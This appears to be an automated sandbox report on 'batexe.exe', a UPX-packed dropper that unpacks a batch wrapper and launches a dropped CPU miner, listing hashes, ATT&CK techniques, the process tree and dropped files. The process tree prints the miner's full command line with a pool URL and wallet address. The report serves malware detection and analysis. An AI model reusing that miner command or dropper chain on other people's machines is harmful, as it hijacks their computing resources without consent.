73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
306s
max time network
336s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
12/02/2024, 06:27

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
5744	b2e.exe
5220	cpuminer-sse2.exe

Loads dropped DLL 6 IoCs

pid	Process
5220	cpuminer-sse2.exe
5220	cpuminer-sse2.exe
5220	cpuminer-sse2.exe
5220	cpuminer-sse2.exe
5220	cpuminer-sse2.exe
5220	cpuminer-sse2.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4892-0-0x0000000000400000-0x000000000393A000-memory.dmp	upx
behavioral2/memory/4892-2-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4892 wrote to memory of 5744	4892	batexe.exe	87
PID 4892 wrote to memory of 5744	4892	batexe.exe	87
PID 4892 wrote to memory of 5744	4892	batexe.exe	87
PID 5744 wrote to memory of 2100	5744	b2e.exe	88
PID 5744 wrote to memory of 2100	5744	b2e.exe	88
PID 5744 wrote to memory of 2100	5744	b2e.exe	88
PID 2100 wrote to memory of 5220	2100	cmd.exe	91
PID 2100 wrote to memory of 5220	2100	cmd.exe	91

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4892
- C:\Users\Admin\AppData\Local\Temp\E838.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\E838.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\E838.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:5744
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\5191.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2100
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:5220

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\5191.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\E838.tmp\b2e.exe

Filesize
1.5MB

MD5
399e1aacae874190bd8e2ad6bfa77b5e

SHA1
23a83afd2e7cd764fe425c33c374737013636aba

SHA256
5e589125ec835723f23e0fbcf21b4e18df05ec8d4069b2b38a784a6d02727f33

SHA512
cc08a92083eb2617eb602d738734bbb859de964b2c27fdb5aa8a8952079294fe6d14dadac3f902f26ccfb839425d3e8ef826a1ab3a7f2ba1d7687535ac949dfb

Download Submit
C:\Users\Admin\AppData\Local\Temp\E838.tmp\b2e.exe

Filesize
1.3MB

MD5
32268e166d96accfa590eff10dd29cd3

SHA1
0a16d8586fa5d24b59e8316000f9e855cf3220bc

SHA256
89801d7a0bae323469effabdd6680f856d3e0fb3371efa51c5ea601e89b6479a

SHA512
9bd2103b3023d671aadc7f83490c24e747c70d7be75ce2b8a1041de5410229571e5f6779be255d5ca7c82d639d09d48f4194e63dd4bfaa03f5400f2924d9f914

Download Submit
C:\Users\Admin\AppData\Local\Temp\E838.tmp\b2e.exe

Filesize
3.7MB

MD5
f53d14a21fac7b7492462a6edb2bb121

SHA1
fcd82097668b397d1df76126a6328e23f4dfceaf

SHA256
032c55051093ff20a6c5a6fc90fa9eb0e5d2342f702c0105ea98de8af53d6ce3

SHA512
82a31012a42c335d38b23f900b44856fa4da305410490995e881339ad221ea3fb732d083ce4867db71a02c4d69d7c7a97273f8bf4e4012dc6e1a0fbe05447731

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
820KB

MD5
c2bbafcdb93a476a9e258843c4affb3e

SHA1
6fec1b0b520063c2368813cf62b06128130dffd6

SHA256
af71dd763fade0666ec2e6face237da19a86455e67bb4739f031ff2aa28f7076

SHA512
b07af60d580b8b87ead59121180105a2c0c1ed20f3d03e64a6f0f04cb76ecd707a68a574a99a476b6ffa7b64180057aff8b8148aadec20ae3f3624dacc4be55f

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
743KB

MD5
3474cc584d07991e859a73b76b4cf779

SHA1
5f609d264b94a40e9f6fc51c916b8d0ef5d892f3

SHA256
5d0ebf353973575cf42b8d3cd83bf6e819002ece0514698c109cb6da550bd41c

SHA512
dbcfd107adf1122da6512fedd2c560ae194889f06149a2706c03b2938109e09fce59b9eac31d390a5e2b9ec5da1b5b58e1abc93bfdc1c245966780e41d50b061

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
692KB

MD5
7ec0f9f6ef96896ea25da9f5eeea72a0

SHA1
ad171ea679162891afda51b58a234f080428cae4

SHA256
13263a1775f64fe5450fd399d64503c41470150ab30cc9cd4169124633bbcf79

SHA512
99e8f743410edfada872f6202492b736371cb77d4ba112386f4068595429c9321d9d7d552b2b2edebcbab368a7e8de44c2bed5ab16213c4adccac5b5fe5346b2

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
100KB

MD5
58ed5245e64adc70fc2441fa457e6379

SHA1
76935676ad93dbf6e69496408bf4fd6eb3e0c1f5

SHA256
030da3b8ee6a11975841363c4272de2ac5976a060a1b29e902ad65cdc4490eea

SHA512
9d553f9dc0eda0598bcdb2147b592a00ff901113cd2e5571d32f2b0e21f3b2e15995f0c06d1e91bbd8d4b6def73551af92b764d625d3d7d921de9805b015958f

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
985KB

MD5
dc99c1d0162d06fdd38a0e37e4c9e047

SHA1
5e2007646224216907662c040ecf71b42af7a374

SHA256
8d96eb0fef532a4f1a79ded24940f356e1009aceb4cba1c201e39e71ae518c9e

SHA512
09c21c586b5109b522b807afc8f95c683175b7b01f330a54ec33f6a9cd3142ad5feed744dd88e563e724f97ebca504635d7174c6c0d5e9ec094bfc75ab4e3d78

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
218KB

MD5
5aa236c57902650ac7b246dd30246c60

SHA1
143872ece1e5a6fab1c0bd4e154291c660f8662e

SHA256
0c27d3d1bbaa16f93fd60fb683bbaac62ac05f9e68a2902aae2fe3563e473b8d

SHA512
831fc8fff6094e3bee4ba84e3c8482d0b6eb3745e0e84f19c4ee2bcc11ea7ceb2803cca9d49571af242f39b212365b983d8aaf1ce258babb7e79ae03fd0916f1

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
191KB

MD5
9551544f83c245ec88742980b257e38a

SHA1
01f5df1ad71ae6fa9b40a2971cf4ff911ad0c81e

SHA256
aa397c69e6bec882d2ad3d7e0a0466d17cbc976cacc29b2a19e08fb2a5a93d49

SHA512
848d9db9df3361cfe61e8daeece5af79091a611b04f0c073eda1a2d61797af4034f7b96b99b1e551521207ea3f41ebd77381247a49df17744ebd3fdf8759a27c

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.3MB

MD5
172a8fb026b1cbeb3df0e8aff6370281

SHA1
512ac4054b07cbf606cb1bd9ccc303b8c6528837

SHA256
3f60f6892799b8dfc7d4385c0179ae4f417080a9511a38dbb2b96824434e0f35

SHA512
affa811ad9698a31d99b66f1ec5f4724572a54479e16ef57ee98ce5dfd96978fa0c9b8538f71b61f0747ff5c834836dda0de3cad77f70f9f616e39fbb9825747

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
548KB

MD5
ce067c679949e0a71d1429d82c91ca63

SHA1
e182331d4ca4c38d1efe412b124e216b5663b196

SHA256
e7dd5c229cb85095a77cce5a7d711c1872351bfb2946fe468898948ad55cd172

SHA512
9f7176d5e8c0197daca48ca7ae628ffcf70aa319d5aae3ccb6fe67f47ffcdb6873ef9ca5faeb7ae17a97d033abe9d49a23f52aba57939399528d8c4b3078bc6e

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/4892-2-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4892-0-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/5220-51-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/5220-85-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5220-49-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5220-50-0x000000006FC40000-0x00000000714F5000-memory.dmp

Filesize
24.7MB

Download
memory/5220-46-0x0000000000870000-0x000000000092C000-memory.dmp

Filesize
752KB

Download
memory/5220-52-0x0000000000870000-0x000000000092C000-memory.dmp

Filesize
752KB

Download
memory/5220-53-0x0000000065FD0000-0x0000000066068000-memory.dmp

Filesize
608KB

Download
memory/5220-105-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5220-60-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5220-70-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5220-100-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5220-90-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5744-13-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/5744-59-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download